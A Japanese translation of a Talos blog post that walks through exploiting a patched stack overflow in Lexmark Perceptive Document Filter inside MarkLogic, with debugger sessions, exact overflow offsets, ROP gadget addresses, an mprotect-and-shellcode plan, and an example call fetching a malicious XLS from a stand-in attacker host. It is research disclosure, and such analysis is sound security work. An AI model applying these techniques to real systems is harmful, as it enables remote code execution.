Cisco Japan Blog

Lexmark の Perceptive Document Filter 悪用の徹底検証

2 min read



この投稿は、Nick Biasinipopup_icon の協力を得て、Marcin Noga によって執筆されました。

はじめに

Talos では、定期的にソフトウェアの脆弱性を検出して発表しています。脆弱性が発見された経緯やその潜在的な影響に関する深い技術分析は公開する場合としない場合があります。このブログでは、検出や悪用の状況を含む脆弱性の技術的な側面について説明します。悪用に関する詳細な技術を徹底検証する前に、Lexmark Perceptive Document Filter と MarkLogic について、具体的にはこれらの製品の関連性や目的について説明します。インターネット上には、これらの製品とそれぞれの目的に関する記事が数多く掲載されています。また、Perceptive Document Filter の製品説明popup_iconを直接読むことも可能です。

一般的に、Perceptive Document Filter は、ビッグデータ、eDiscovery、DLP 電子メール アーカイブ、コンテンツ マネジメント、ビジネス インテリジェンス、インテリジェント キャプチャなどで使用されています。これらの分野では 3 社の大手企業が製品を提供しています。まず Lexmark、そして Oracle、HP です。

Perceptive Document Filter は、上記に挙げたようなさまざまな目的で、異なるファイル形式の膨大なデータを解析するために使用されている一連のライブラリです。市場での重要性を考えると、この製品に発見された脆弱性の影響が拡大することは想像に難くありません。Lexmark ソリューションの顧客は世界中に存在しており、そのうちの 1 社はここから確認することができます。

Lexmark の顧客には大企業が名を連ねています。Talos では、これらの顧客の規模と多様性を考慮して、脆弱性の検出プロセスだけではなく、その悪用の詳細についても徹底的に検証することにしました。

この脆弱性の影響を受けた、Perceptive フィルタを使用する製品の 1 つは、MarkLogic の NoSQL データベースです。MarkLogic による Lexmark ソリューションの使用方法と、基本的な緩和技法が欠如していることを考えると、MarkLogic はこの脆弱性とその影響を示すのに適した製品と言えます。

MarkLogic の影響

技術的な側面の説明に入る前に、MarkLogic 8.04 が稼働する Linux x64 上で検証された実際のリモート コード実行悪用のデモ ビデオをご覧ください。

https://youtu.be/ilABOvr3wPg?list=PLFT-9JpKjRTDn_qtGN238gzycJfaVzMqD

MarkLogic は、さまざまなタイプのドキュメントからメタデータを抽出するソリューションとして Lexmark の Perceptive Document Filter を使用する多くの製品の 1 つに過ぎません。以下に示すように、MarkLogic ディレクトリには、Perceptive Document Filter  ライブラリとコンバータ バイナリの両方が含まれています。

icewall@ubuntu:~$ ls -l /opt/MarkLogic/Converters/cvtisys/
total 154612
-rwxr-xr-x 1 root root 188976 convert
drwxr-xr-x 2 root root 4096 fonts
-rwxr-xr-x 1 root root 45568 libISYS11df.so
-rwxr-xr-x 1 root root 47818992 libISYSautocad.so
-rwxr-xr-x 1 root root 9575776 libISYSgraphics.so
-rwxr-xr-x 1 root root 12376664 libISYSpdf6.so
-rwxr-xr-x 1 root root 11419576 libISYSreadershd.so
-rwxr-xr-x 1 root root 5389896 libISYSreaders.so
-rwxr-xr-x 1 root root 30264056 libISYSshared.so

最初に解答しなければならない疑問は、どのようにして MarkLogic にこのコンバータの使用を強制するかということです。

MarkLogic は、XDMP の「document-filterpopup_icon」API が使用されるたびにこのコンバータを使用します。同社から公開されている文書によると、この API はさまざまな文書形式をフィルタし、メタデータとテキストを抽出して XHTML を返します。抽出されたテキストにはほとんどフォーマットがなく、通常は検索、分類、またはその他のテキスト処理のために使用されます。この API の使用例を以下に示します。この例では、信頼できないソース ドキュメントからメタデータが抽出されています。

xdmp:document-filter(xdmp:http-get(“http://www.evil.localdomain/malicious.xls”)[2])

上記の「document-filter」API が呼び出されると、MarkLogic デーモンによって「convert」バイナリが生成されます。このバイナリは、参照ファイルからメタデータを抽出する Perceptive Document Filter ライブラリを使用します。

被害の拡大

MarkLogic デーモンによって生成されたときに「convert」プロセスを監視してみると、このプロセスが親プロセスと同じ権限で実行されていることがわかります。つまり、これは「デーモン」として実行されています。この場合、システム内で最も権限が高いアカウントとしてアクセス権を即座に取得できるため、悪用が成功するとその影響が大幅に拡大します。

「デーモン」権限で実行された「convert」プロセス

偵察

私たちは、この製品の調査中に Lexmark ライブラリに複数の脆弱性を発見しましたが、悪用プロセスを明らかにするために、TALOS-2016-0172 – Lexmark Perceptive Document Filter の XLS 変換コード実行の脆弱性popup_iconを使用することにしました。この脆弱性には、2016 年 8 月 6 日にパッチが公開されています。gdb を使用してこの「convert」バイナリを実行し、不正な xls ファイルからメタデータの抽出を試みると、次のコードが表示されました。

icewall@ubuntu:~/exploits/cvtisys$ cat config/config.cfg
showhidden Visible
inputfile /home/icewall/exploits/cvtisys/poc.xls
icewall@ubuntu:~/exploits/cvtisys$ LD_LIBRARY_PATH=. gdb –args ./convert config/

上記の gdb の状況を簡単に分析すると、これは標準的なスタック ベースのバッファ オーバーフローであることがわかりました。「rr」を使用して、「ret アドレス」が上書きされた時点に戻ります。

(rr) watch *0x7ffffffed128
Hardware watchpoint 1: *0x7ffffffed128
(rr) rc
Continuing.

Warning: not running or target is remote
Hardware watchpoint 1: *0x7ffffffed128

これで memcpy 内部に到達しました。次に、この操作に使用された正確な memcpy パラメータを確認します。

(rr) reverse-finish

すべてのパラメータを確認できたので、パラメータの起点を追跡し、どのように制御することができるのかを把握する必要があります。アドバイザリによると、「size」パラメータはファイルから直接読み込まれ、発生時の関数名をポイントしますが、ここでは「rr」デバッガを使用してその場所を見つける方法を示します。バックトレース関数名から、「reader::escher::MsofbtDggContainer::Handle」関数で、バッファ サイズがパラメータとして最初に渡されると推測できます。次に、reverse-finish を数回使用して、「reader::escher::MsofbtDggContainer::Handle」内の「ISYS_NS::CDataReader::Read」が呼び出された場所に戻ります。

RDX レジスタの memcpy「size」引数、およびその設定場所も確認できます。

0x7ffff36185fa: mov edx,DWORD PTR [rsi+0x4]

次に、「rni」を活用してアドレス「0x7ffff36185fa」に戻ります。ここで「rsi+0x4」によってポイントされたメモリ コンテンツをチェックします。:

(rr) hexdump $rsi+0x4

0x00007ffffffed144 : 00 03 00 00 00 12 00 00 00 00 00 00 00 00 00 00 …………….

予想通り、興味深い値が見つかりました。これにウォッチポイントを設定し、設定場所を確認します。

(rr) watch *0x00007ffffffed144

Hardware watchpoint 4: *0x00007ffffffed144

(rr) pdisass

memcpy の「size」引数が、「common::read_MSOFBH」内部の「common::StreamReader::readInt32」関数を介してファイルから直接読み込まれたこと、そしてこれが 32 ビット整数値であることが明らかになりました。ファイル内でこの値を探すと、大量のオフセットが返されます。しかし、これらすべての「readIntXX」関数によって返される値のチェーンを使用すると、「size」パラメータの場所の直接のオフセットを取得できます。

common::StreamReader::readInt16(ISYS_NS::CDataReader&) -> 03 08
common::StreamReader::readInt16(ISYS_NS::CDataReader&) -> 16 00
common::StreamReader::readInt32(ISYS_NS::CDataReader&) -> 00 30 00 00

ビンゴ!これらのバイト チェーンは、オフセット 0xFCE で始まり、「size」値パラメータは 0xFD2 であることがわかります。このことは、以下に示すように、memcpy 操作のリストに戻ると確認できます。

[————————————-コード————————————-]
0x7ffff475ef59: mov rdx,r12
0x7ffff475ef5c: add rsi,rax
0x7ffff475ef5f: mov r15,r12
=> 0x7ffff475ef62: call 0x7ffff4714fc8 <memcpy@plt>
0x7ffff475ef67: mov eax,DWORD PTR [rsp+0x38]
0x7ffff475ef6b: mov rbp,r12
0x7ffff475ef6e: add rbp,QWORD PTR [r13+0x20]
0x7ffff475ef72: add DWORD PTR [rsp+0x4],ebx

推測される引数:
arg[0]: 0x7ffffffed020 –> 0x0
arg[1]: 0x678490 –> 0x82000165300081
arg[2]: 0x300

ここで、「src buffer」 == ペイロードが、オフセット:0xFD2 の「size」引数値の直後に始まることがわかりました。これから使用するガジェットとシェルコード用に領域を増やして確保するために、OffVis を使用してこの XLS 構造とこれらの値に関する情報をもう少し入手します。

これで重要な構造フィールドを明確に確認できました。

現時点で最も重要な疑問の 1 つは、Lexmark ライブラリのパーサーによってこの XLS が有効なドキュメントとして処理されることを保証しながら悪用を成功させるために、「size」引数の値を増やすかどうかです(ペイロードを格納するためにもっと領域が必要です)。このタスクを簡略化し、面倒な XLS 形式の処理を回避するために、簡易なスクリプトを作成します。このスクリプトは、「size」フィールド値を設定し、そのサイズに応じてカスタム「A」文字列を使用してファイル内の元のデータを上書きします。

試行錯誤を繰り返し、ペイロードに関する xls 構造を詳しく観察した結果、上記に示した「size」パラメータ値をようやく取得/推測できました。

次は、元々のクラッシュ発生の原因となった template.xls ファイルに基づいて payload.xls を生成します。

icewall@ubuntu:~/exploits/cvtisys$ ./explo_test.py
icewall@ubuntu:~/exploits/cvtisys$ LD_LIBRARY_PATH=../convert test
Segmentation fault

生成された payload.xls

「size」フィールドが、「PAYLOAD_SIZE」スクリプトを使用して設定された値に変更されていること、元のデータが「A」文字列によって上書きされていることがわかります。

テスト中にもう 1 つ重要なことがわかりました。それは、「size」値を増やすときには「MsoDrawingGroup」「Length」フィールドの値も増やす必要があるということです。この値は、スクリプト内で「RECORD_SIZE」として表されています。おわかりのように、ファジング プロセス中にランダムに設定された値 0x300 は、複雑なデータ構造の変更を必要とせずに 0x958 に増やすことができました。このサイズ制限の理由は、ペイロード ブロックの終わりを見れば明らかです。

結局上記のように、新しいワークシート構造が始まる直前の元データが「A」文字列で上書きされました。この構造の参照はファイル ヘッダーに配置されているため、このデータが上書きされるとパーサーは失敗します。

RET アドレスの上書き

次は、リターン アドレスを上書きするために何バイトを操作する必要があるかを確認します。ここでは、PEDA を使用してパターン サイクルを生成し、「A」文字列の代わりに使用します。

gdb-peda$ pattern_create
Generate a cyclic pattern
Set “pattern” option for basic/extended pattern type

使用方法:
pattern_create size [file]
gdb-peda$ pattern_create 0x958

変更されたペイロードを使用して「convert」を実行すると、次のようになります。

pattern_offset コマンドを使用して、RET アドレスを上書きするために使用されたオフセット値を取得するとともに、これらの値を一部のレジスタにロードします。

gdb-peda$ pattern_offset HA%dA%3A%IA%eA%4A%JA
HA%dA%3A%IA%eA%4A%JA found at offset: 264
gdb-peda$ #EIP
gdb-peda$ pattern_offset nA%CA%-A
nA%CA%-A found at offset: 216
gdb-peda$ #RBX
gdb-peda$ pattern_offset %(A%DA%;
%(A%DA%; found at offset: 224
gdb-peda$ #RBP
(…)

ペイロードのオフセットの値を 264 に設定することによって、リターン アドレスを完全に制御できます。また、一部のレジスタの先頭の値も完全に制御できます。発見したオフセットが正しいかどうかを見極めるために、簡単なテストを作成できます。

すべてが予想通りに動作することは明らかです。RET のアドレス値の上書きをオフセット 264 で行い、バッファの大部分がこのオフセットの後に配置されていることを考慮すると、使用するガジェットとシェルコードに残されている領域は、0x958 – 264 = 0x850(2128)バイトになります。したがって、すべての必要な値を収容することができ、複雑な XLS 構造を操作する必要もありません。

悪用戦略を立てる

この脆弱性を悪用するための既知の手法を選択する前に、このアプリケーションとコンポーネントによって導入および使用されている可能性がある攻撃回避策を見極める必要があります。

そのために使用するのは checksec.sh です。

「convert」実行可能ファイルは ASLR をサポートしていないことがわかります。RELRO 列には「NO RELRO」ステータスが返されているため、固定アドレスにはデータを格納できる書き込み可能なメモリ領域があります。

しかし残念ながら攻撃者の観点からは、すべてのコンポーネントで NX が有効化されているため、私たちは ROP チェーンを構築してこれを回避する必要があります。また、PLT 経由でロードされた適切な関数がないため、シンプルな PLT Overwrite も作成できません。このエクスプロイトには、プラットフォームの代わりに製品バージョンをバインドするつもりなので、GOT Overwrite 技法も使用できません。製品バージョンをバインドすると、サポートされるプラットフォーム全体での脆弱性を悪用することができます。私たちは、「convert」バイナリをベースに ROP チェーンを構築して、標準的なスタック ベースのバッファ オーバーフロー エクスプロイトの活用を試みます。ROP チェーンは、実行可能ファイル(mprotect syscall へのコール)を設定し、使用するシェルコードが配置されているスタックにコード実行フローをリダイレクトする役割を果たします。

悪用

ガジェットの検索

まず、「convert」バイナリ内でガジェットを検索します。今回使用するのは、「Ropperpopup_icon」と「ROPgadgetpopup_icon」です。これら 2 つのユーティリティでは、ガジェットの検索範囲内で重要な詳細を取得できます。私たちは、まず最も重要なガジェット、syscall 命令を検索します。

残念ながら、syscall ガジェットは見つからないようなので、次の方法を考える必要があります。コード実行フローの制御を取得したときのレジスタの状態をもう一度確認します。

この RAX レジスタは、「libISYSreadersh.so」ライブラリのコード セクションの内部を指すポインタを指しています。このライブラリは ASLR をサポートしていますが、コード内にレジスタ セットがあるので、固定差分を計算することができます。

0x7ffff375dfb0(VALUE_AVAILABLE_IN_RAX) – 0x7ffff34cf000(IMAGE_BASE) = 0x28efb0L(差分)。この差分は、「libISYSreadersh.so」モジュールの最新のイメージ ベースを取得するために、後で ROP チェーンで使用します。このイメージ ベース取得すると、このライブラリから簡単にガジェットを使用できます。このライブラリのサイズを確認し、「convert」ライブラリと比較すると次のようになります。

-rwxr-xr-x 3 icewall icewall 182K May 5 18:21 convert
-rwxr-xr-x 3 icewall icewall 12M May 5 18:21 libISYSreadershd.so

12 メガバイトは、ガジェットのソースとしてはかなり有望です。今回は「syscall」ガジェットを簡単に探し出すことができました。

icewall@ubuntu:~/exploits/cvtisys$ ~/tools/Ropper/Ropper.py –file libISYSreadershd.so –search “syscall”
[INFO] Load gadgets from cache
[LOAD] loading…100%
[LOAD] removing double gadgets…100%
[INFO] Searching for gadgets: syscall
[INFO] File: libISYSreadershd.so
(…)

0x000000000096a0dd: syscall; ret;
(…)

これで、レジスタの設定や、読み取り、書き込みなど、多くのタスクを行うために、適したガジェットを検索する準備が整いました。

ガジェットのグループ化

「Ropper」ユーティリティでは、作者popup_iconが注記しているように、「retf」命令で終わるガジェットが表示されません。該当のガジェット数は限定的ですが、それぞれの retf 命令には重要な意味があるため、このことには注意してください。ですからガジェットを検索する前に、さまざまなタイプのツールを使用してバイナリを調査することが大切です。

これはハッカー コンテストではないので、特に小さい「convert」実行可能ファイルに限定した最初の段階では、必要なガジェットをすべて見つけることは困難です。私の場合は、すでに把握しているガジェットを明確に理解し、それらの間の関連性を見極める方法を取ります。その最初のステップは、ガジェットをカテゴリ別にグループ化することです。

QWORD write
===============
0x0000000000415253: mov qword ptr [rbp – 0x50], rax; call qword ptr [rbx + 0x10];
(…)

QWORD read
==============
0x0000000000409ad0: mov rdx, qword ptr [rax]; mov rdi, rax; call qword ptr [rdx + 0x30];
(…)

SET register
===============
0x000000000041bf04: pop rax; ret;
0x000000000041bff1: pop rbx; ret;
0x0000000000409ad3: mov rdi, rax; call qword ptr [rdx + 0x30];
(…)

DEC DWORD PTR
==================
0x000000000042121f: dec dword ptr [rdi]; ret;
(…)

ADD reg to DWORD ptr
=======================
0x000000000040d0e3: add dword ptr [rax – 0x77], ecx; ret;
(…)

ADD DWORD ptr to reg
=====================
0x0000000000409416: add ecx, dword ptr [rax – 0x77]; ret;
(…)

これは有効なガジェットを検出する過程の一部ですが、適切な ROP チェーンの構築を試みる前にこのようにガジェットをグループ化することのメリットをお分かりいただければ幸いです。

ROP クラスとプリミティブの準備

さまざまなカテゴリの ROP ガジェットをできる限り収集したので、最終的な ROP チェーンを非常に簡単に構築できるように、適切なプリミティブを使用してクラスを「クローズ」します。

次は ROP チェーンの構築プロセスを開始します。

すでに説明したように、「convert」バイナリ内のセクション ヘッダーのメモリ領域は書き込み可能な状態であり、その場所は固定アドレスにあります(checksec の「NO RELRO」を参照)。注目いただきたいのは私たちがこのメモリ領域を悪用することです。おわかりのように、ROP チェーンの冒頭でこのメモリ領域の使用を開始しています。検索したガジェットの一部(writeEAX など)には、「ROP ポインタ」テーブルを準備する必要があります。例:

call [reg + xx] instruction.

これらのガジェットを使用できるようにするには、「ROP ポインタ」テーブルを準備する必要があります。このタスクを行うために、このメモリ領域が最適なのです。以下に、いくつかの ROP ガジェットの実行後のレイアウトの例を示します。

ロードマップ

この ROP チェーン構築に必要な追加のステップはシンプルです。

  • RAX で利用可能なアドレスを 2 回逆参照し、libISYSreadershd コード セクションを指すアドレスを取得します。
  • このアドレスから前述の差分を差し引き、libISYSreadershd イメージ ベースを取得します。
  • libISYSreadershd イメージ ベースを取得したら、このライブラリからガジェットの使用を開始できます。
  • syscall mprotect を呼び出します。
  • スタックが実行可能なので、シェルコードにコード実行をリダイレクトします。
  • 成功しました!

シェルコードと最初のテスト

まず、使用するシェルコードのためにバッファにどれ位の領域が残されているかを確認します。

上記のイメージからわかるように、136 バイトが残されています。このテストでは、27 バイトのみ使用するシンプルな「/bin/sh」シェルコードを使用します。最後にシェルコードを ROP チェーンに追加して、エクスプロイトをテストします。

成功しました!

まとめ

この詳細ブログでは、脆弱性を利用して使用可能なエクスプロイトとして兵器化するプロセスの概要を説明しました。このプロセスは、脆弱性を特定することと、脆弱性を活用できるようにする方法をさらに調査することから始まります。次に、アドレス空間のマッピング、ガジェットの特定とグループ化など、脆弱性を取り巻く環境を詳細に分析する必要があり、最後に ROP チェーンを構築し、悪質なシェルコードを追加して悪用を完了します。

脆弱性の検出と分析には大きな違いがあります。脆弱性が存在するからと言って、容易に兵器化できるとは限りません。たいていの場合、兵器化までには、難しく、複雑で、長いプロセスが伴います。実際に悪用するために必要な手段によって異なりますが、だからこそ脆弱性の価値も大幅に高まります。

 

本稿は 2017年6月14日に Talos Grouppopup_icon のブログに投稿された「Deep dive in Lexmark Perceptive Document Filters Exploitationpopup_icon」の抄訳です。

 

コメントを書く